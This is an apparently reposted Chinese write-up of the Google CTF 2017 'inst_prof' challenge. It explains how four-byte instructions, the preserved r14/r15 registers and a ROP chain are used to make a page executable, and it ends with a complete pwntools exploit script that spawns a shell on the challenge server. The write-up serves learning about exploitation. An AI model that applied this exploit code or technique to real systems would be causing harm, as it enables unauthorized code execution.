google ctf 2017 inst_prof writeup

来源:互联网 发布:中学学校网络管理制度 编辑:程序博客网 时间:2024/06/15 16:02

题目

题目本身比较神奇,当时看到这道题的时候还懵了一下,一下子没有太好的思路,不过后两天还有考试所以也没太静下心来想,今天刚考完了再来看这道题感觉其实难度并不是很大。

题目给出了一个二进制文件,本能的checksec:

[*] '/home/vagrant/ctf/contests/googlectf-2017/inst_prof/inst_prof'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled

partial relro,很有意思,不过其实根本没卵用,233.

看看逻辑:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  if ( write(1, "initializing prof...", 0x14uLL) == 20 )  {    sleep(5u);    alarm(0x1Eu);    if ( write(1, "ready\n", 6uLL) == 6 )    {      while ( 1 )        do_test();    }  }  exit(0);}

main函数很显然,就是死循环执行do_test,再看do_test

int do_test(){  char *v0; // rbx@1  char v1; // al@1  unsigned __int64 v2; // r12@1  unsigned __int64 buf; // [sp+8h] [bp-18h]@1  v0 = (char *)alloc_page();  *(_QWORD *)v0 = *(_QWORD *)"¦";  *((_DWORD *)v0 + 2) = *(_DWORD *)&template[8];  v1 = template[14];  *((_WORD *)v0 + 6) = *(_WORD *)&template[12];  v0[14] = v1;  read_inst((__int64)(v0 + 5));  make_page_executable(v0);  v2 = __rdtsc();  ((void (__fastcall *)(char *))v0)(v0);  buf = __rdtsc() - v2;  if ( write(1, &buf, 8uLL) != 8 )    exit(0);  return free_page(v0, &buf);}

由于二进制并没有取掉符号,所以看起来比较显然,template其实不用怎么管,可以大致看出来他的功能:

  1. 分配了一个页
  2. 进行一些初始化,放入了template的一些字节
  3. 输入了4个字节(read_inst)
  4. 改变之前分配的页的权限为R_X
  5. __rdtsc会改变r12的值,这里没啥用不用管,然后跳到了输入字节的位置进行执行
  6. 执行后释放分配的页,然后跳到外层之后死循环回到第一步

具体情况可以下断点输入四个NOP看看,template里边会先mov ecx, 0x1000然后执行四字节输入内容,然后sub ecx, 1之后检测是不是ecx为0,不为0跳到输入的四个字节,基本上除了增加了一点调试难度没什么卵用。

总结一下题目难点:
1. 每次只能输入一个4字节的shellcode执行
2. 每次执行之后会死循环,不过由于得先进行一系列操作,一些寄存器的值会被改变,无法保存

分析

寄存器值改变情况

题目的意思已经很清楚了,不过不保存寄存器值是绝对不可能搞定的,所以应该是有寄存器的值是能够保存的,调试观察一下可以发现,r14和r15的寄存器在两次循环之间是不会被改变的,也就是说我们现在有两个寄存器r14和r15可以用,另外,rdi等等寄存器会保留一些内容,这些对于我们之后的利用也很有用处。

利用方法

写入shellcode

我们首先可以想到可以利用r14和r15进行写入,方法是通过mov byte ptr [r14], {}的方式,{}处可以填很多字节,这样就可以写入shellcode,那么问题来了,写哪儿?

  1. 之前分配的页
  2. 另找一个位置

好了,之前分配的页改变权限的时候已经改为了RX,但是不可写了,所以这个方法是不行的,另找一个位置也没有了可写又可执行的位置,所以看来我们需要自己去更改权限,那么我们需要一个稳定的可写地址,通过观察,或者猜测也行,分配位置之后的一页位置是稳定可写的,所以写那里就可以,之后我们需要想一个办法更改它的权限。

更改权限

更改权限就有问题了,虽然我们有mprotect的调用,但是参数是个问题。更改rdi之后调用已经有的更改权限函数之后再返回或者改权限参数为7之后调用更改权限函数都是不错的思路,可是都存在问题。

  1. rdi和权限参数存的rbx都没办法保留到下一次循环
  2. 如果先存入rdi/rbx再调用(利用push r14或者r15可以在这里改变执行流),也会导致长度不够,至少需要5个字节

看来这两种方法都不行。其实因为我们可以执行一句代码,理论上我们是可以做到受限制的任意写的,而寄存器的值我们是可以mov出来的,所以应该能想到ROP,通过先把链构造好,最后r14/r15设置为链起始位置,mov rsp, r14或者mov rsp, r15就可以触发ROP了。调整r14和r15的值可以用inc指令实现,inc指令比较短。

最终方案

  1. 先写入shellcode到分配的页起始+0x1000的位置
  2. 利用r14和r15构造ROP链,结构为:text offset为0xbc3的值(通过[rsp]值之后加减偏移可以取出来) -> 需要的rdi值(shellcode的所在页) -> text offset 0xb03值 -> 0x28 junk -> shellcode位置
  3. 最后执行mov rsp, r14触发ROP

exp.py

稍微缓存一下编译过程,否则速度太慢直接触发alarm了。
我这里的实现还是有一些问题,应该把NOP换成ret,这样可以避免一些重复的0x1000次执行。

from pwn import *context(os='linux', arch='amd64', log_level='debug')DEBUG = 1GDB = 1NOP = b'\x90'shellcodes = {}if DEBUG:    p = process("./inst_prof")else:    p = remote("inst_prof.ctfcompetition.com", 1337)def split_at(line, n):    return [line[i:i+n] for i in range(0, len(line), n)]def execute(shellcode, is_asm=True):    if shellcode not in shellcodes:        asm_shellcode = asm(shellcode)        shellcodes[shellcode] = asm_shellcode        shellcode = asm_shellcode    else:        shellcode = shellcodes[shellcode]    if len(shellcode) > 4:        raise Exception('instruction using is too long, length {}'.format(len(shellcode)))    p.send(shellcode.ljust(4, NOP))def write_byte(byte_to_write):    shellcode = "mov byte ptr [r14], {}".format(byte_to_write)    return shellcodedef write_str(code_str):    for char in code_str:        char_num = ord(char)        execute(write_byte(char_num))        execute('inc r14; ret;')def write_shellcode():    execute('mov r14, rdi; ret;')    for i in range(0x1000):        execute('inc r14; ret;') # $r14 = writable address    shellcode = asm(shellcraft.sh())    write_str(shellcode)def write_rop_chain():    execute('mov r14, rsp;')    execute('mov r15, [rsp]')    for i in range(0x100):        execute('inc r14; ret;')    for delta in range(0xbc3 - 0xb18):        execute('inc r15; ret;')    # r15 = pop_rdi_ret: 0xbc3    execute('mov [r14], r15')    for i in range(8):        execute('inc r14; ret')    execute('mov r15, rdi')    for i in range(0x1000):        execute('inc r15; ret;')    # r15 = writable    execute('mov [r14], r15')    for i in range(8):        execute('inc r14; ret')    execute('mov r15, [rsp]')    for delta in range(0xb18 - 0xb03):        execute('dec r15; ret;')    # r15 = call make_page_executable    execute('mov [r14], r15')    for i in range(16 + 0x20):        execute('inc r14; ret;')    execute('mov r15, rdi')    for i in range(0x1000):        execute('inc r15; ret')    # r15 = writable    execute('mov [r14], r15')    for i in range(0x20 + 0x20):        execute('dec r14; ret;')    execute('mov rsp, r14')def main():    if gdb:        raw_input()    write_shellcode()    write_rop_chain()    p.interactive()if __name__ == "__main__":    main()
原创粉丝点击